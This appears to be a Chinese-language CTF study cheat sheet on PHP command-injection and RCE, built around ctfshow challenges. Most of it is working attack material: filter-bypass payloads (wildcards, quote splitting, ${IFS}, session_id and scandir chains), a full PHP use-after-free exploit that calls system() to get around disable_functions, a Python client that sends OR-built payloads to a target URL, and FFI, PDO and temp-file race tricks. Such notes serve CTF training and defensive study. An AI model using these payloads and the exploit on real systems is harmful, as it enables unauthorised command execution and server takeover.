应用有时需要调用一些执行系统命令的函数,如PHP中的system
、exec
、shell_exec
、 passthru
、popen
、proc_popen
等,当用户能控制这些函数中的参数时,就可以将恶意系统命令 拼接到正常命令中,从而造成命令执行攻击。
PHP程序执行函数
1 2 3 4 5 6 7 8 9 10 11
| escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 escapeshellcmd — shell 元字符转义 exec — 执行一个外部程序 passthru — 执行外部程序并且显示原始输出 proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码 proc_get_status — 获取由 proc_open 函数打开的进程的信息 proc_nice — 修改当前进程的优先级 proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。 proc_terminate — 杀除由 proc_open 打开的进程 shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 system — 执行外部程序,并且显示输出
|
漏洞分类
代码层过滤不严
- 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program –arg $arg");
系统的漏洞造成命令注入
调用的第三方组件存在代码执行漏洞
- 如WordPress中用来处理图片的ImageMagick组件
- JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
- ThinkPHP命令执行
利用条件
应用调用执行系统命令的函数
将用户输入作为系统命令函数的参数拼接到了命令行中
没有对用户输入进行过滤或过滤不严
漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
管道符
windows管道符
|
直接执行后面的语句。
||
如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。
&
两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
&&
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
linux管道符
;
执行完前面的语句再执行后面的语句。
|
显示后面语句的执行结果。
||
当前面的语句执行出错时,执行后面的语句,前面的语句只能为假。
&
两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&&
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
反引号(``)
注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数 shell_exec()
相同。
php短标签
<? php
可替换为 <?=
在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。
所以就需要构造?><?=ls;
传参逃逸
1=
后出现的命令可以不受影响
1
| ?c=eval($_GET[1]);&1=system('ls')
|
目录遍历
1
| c=var_dump(scandir('/'));
|
php函数读取系统文件
函数 |
是否需要echo |
file_get_content() |
需要 |
readfile() |
|
highlight_file() |
不需要 |
show_source() |
不需要 |
include() |
不需要,需要echo变量 |
include包含,echo输出
c=include('flag.php');echo $flag.php;
当不知道变量名称,包含后输出所有变量名称
c=include('flag.php');var_dump(get_defined_vars());
写shell到文件日志文件中,读取日志文件拿shell
绕过open_basedir
open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开
glob://伪协议绕过open_basedir
1 2 3 4 5 6 7
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
|
需要url编码
uaf脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201
| c=function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit(); }
ctfshow("cat /flag0.txt");ob_end_flush();
|
需要通过url编码
当上面脚本strlen()
被禁用的时候,自己写一个函数替代
strlen()
返回指定字符串的长度
替换思路:把字符串转换成数组,读取数组长度
1 2 3 4
| <?php function strlen_user($s){ return count(str_split($s)); }
|
报了内存溢出错误,换一种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function strlen_user($a){ $n = 0; for($i = 0; $i <= INF;$i++){ if($a[$i]!==''){ $n++; }else{ break; } } return $n; } echo strlen_user('flagc.txt'); ?>
|
PDO连接
1 2 3 4
| c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
|
需要知道数据库名称,用户名,密码
FFI
1 2 3
| $ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a);
|
php7.4以上才有
已定义变量+数组操作
get_defined_vars()
返回所有已定义变量所组成的数组
数组操作
end()
:数组指针指向最后一位
next()
: 数组指针指向下一位
array_reverse()
: 将数组颠倒
array_rand()
: 随机返回数组的键名
array_flip()
:交换数组的键和值
array_pop()
:删除数组最后一个值并且弹出
空格绕过
url编码
%0a
换行执行
%09
代替 TAB键(php可用)
${IFS} 用在shell中
${PS2}
对应字符 >
${PS4}
对应字符 +
${IFS}
对应 内部字段分隔符 同$IFS
${9}
对应 空字符串
nl带行号读
nl<fl""ag.php||
后续不能用?*
通配符
黑名单绕过
glob通配符绕过
?
代表1个字符
*
代表0个及以上任意字符
通配之后无法确定命令,可用绝对路径
?c=/bin/?at${IFS}f???????
单引号、双引号
1 2 3 4
| c""at flag c""at fl""ag c""at fl''ag echo `nl fl""ag.php`;
|
反斜线
$
拼接
1 2 3 4
| 执行ls命令: a=l;b=s;$a$b cat hello文件内容: a=c;b=at;c=he;d=llo;$a$b ${c}${d}
|
无参数绕过-没有过滤分号;
和括号(
货币提取.
扫描文件
过滤代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }
|
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
过滤了data://
,filter://
,php://
,phar://
且忽略大小写,过滤了伪协议。
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
(?R)
表示引用当前表达式,后面加了?表示递归。将匹配到的内容替换为空判断是否等于;
等于再进入下一步判断。
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
扫描当前目录
1
| payload=print_r(scandir(pos(localeconv())));
|
localeconv()
函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos()
和current()
一样,返回数组中的当前值,初始化时会指向该数组中的第一个值。
scandir()
列出指定路径中的文件和目录,scandir('.')
扫描当前目录。
假设当前目录数组是这样的Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
1
| highlight_file(next(array_reverse(scandir(pos(localeconv())))));
|
array_reverse()
反转数组后next()
指针向下一位
1
| show_source(array_rand(array_flip(scandir(pos(localeconv())))));
|
array_flip()
交换键和值,array_rand()
随机返回键名
1
| show_source(session_id(session_start()));
|
session_start()
启动新会话或者重用现有会话
session_id()
可以用来获取/设置 当前会话 ID
更改Cookie: PHPSESSID=flag.php;
session绕过
1
| ?c=session_start();system(session_id());
|
传参逃逸+伪协议绕过-bypass分号;
和括号(
注意 eval内如果要RCE必须以分号结尾,但是php最后一条语句可以没有分号。
eval("echo 1;");
和eval("echo 1?>");
结果相同
同时过滤了分号和括号,只能使用语言结构了,常见的语言结构:echo,print,isset,unset,include,require
1
| ?c=$a=include$_GET["b"]?>&b=php:
|
1
| ?c=?><?=include$_GET[0]?>&0=php:
|
1
| ?c=include%09$_GET[a]?>&a=php:
|
php伪协议
data://text/plain,
数据流封装器,当allow_url_include
打开的时候,任意文件包含就会成为任意命令执行
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
两个斜杠可以省略
无数字,字母,$
命令执行
取反获取数字
1 2 3 4 5 6 7 8 9 10 11
| [root@localhost ~]# echo $(()) 0 [root@localhost ~]# echo ~$(()) ~0 [root@localhost ~]# echo $((~$(()))) -1 # $((~$(())))往中间每加一个$((~$(())))都加以1,先减后取反 # [root@localhost ~]# echo $((~$(($((~$(())))+$((~$(()))))))) 1
|
或运算绕过
$、+、-、^、~
使得异或自增和取反构造字符都无法使用,过滤了字母和数字但是没有过滤运算符|
ctfshow web入门 web41
rce_or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|
php或运算.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import requests import urllib from sys import * import os os.system("D:\phpstudy_pro\Extensions\php\php8.0.2nts\php.exe rce_or.php") if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
|
POST上传条件竞争 没有过滤.
发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母
使用通配符/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
因为我们上传重名的文件存在大写,即构造匹配最后一位大写字母,即可过滤linux文件中全部小写的文件。在ascii码表中,可见大写字母位于@
与[
之间
.%20/*/????????[@-[]
创建test.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://9a634e82-0c97-423d-b9ff-ca0e27b3ad8d.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
添加需要执行的命令
注意
不显示返回结果
\>/dev/null 2>&1
绕过
ls;ls
或ls||ls
双写绕过,把第二个命令写入到/dev/null
中去。
?c=tac flag.php%26%26ls
&&
需要用url编码。
?c=nl flag.php%0a
%0a
截断
中断缓冲区
1 2 3 4 5 6
| if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);
|
include('/flag.txt');exit(0);
或exit();
或exit;
常用命令
tac
从最后一行开始显示,可以看出 tac 是 cat 的反向显示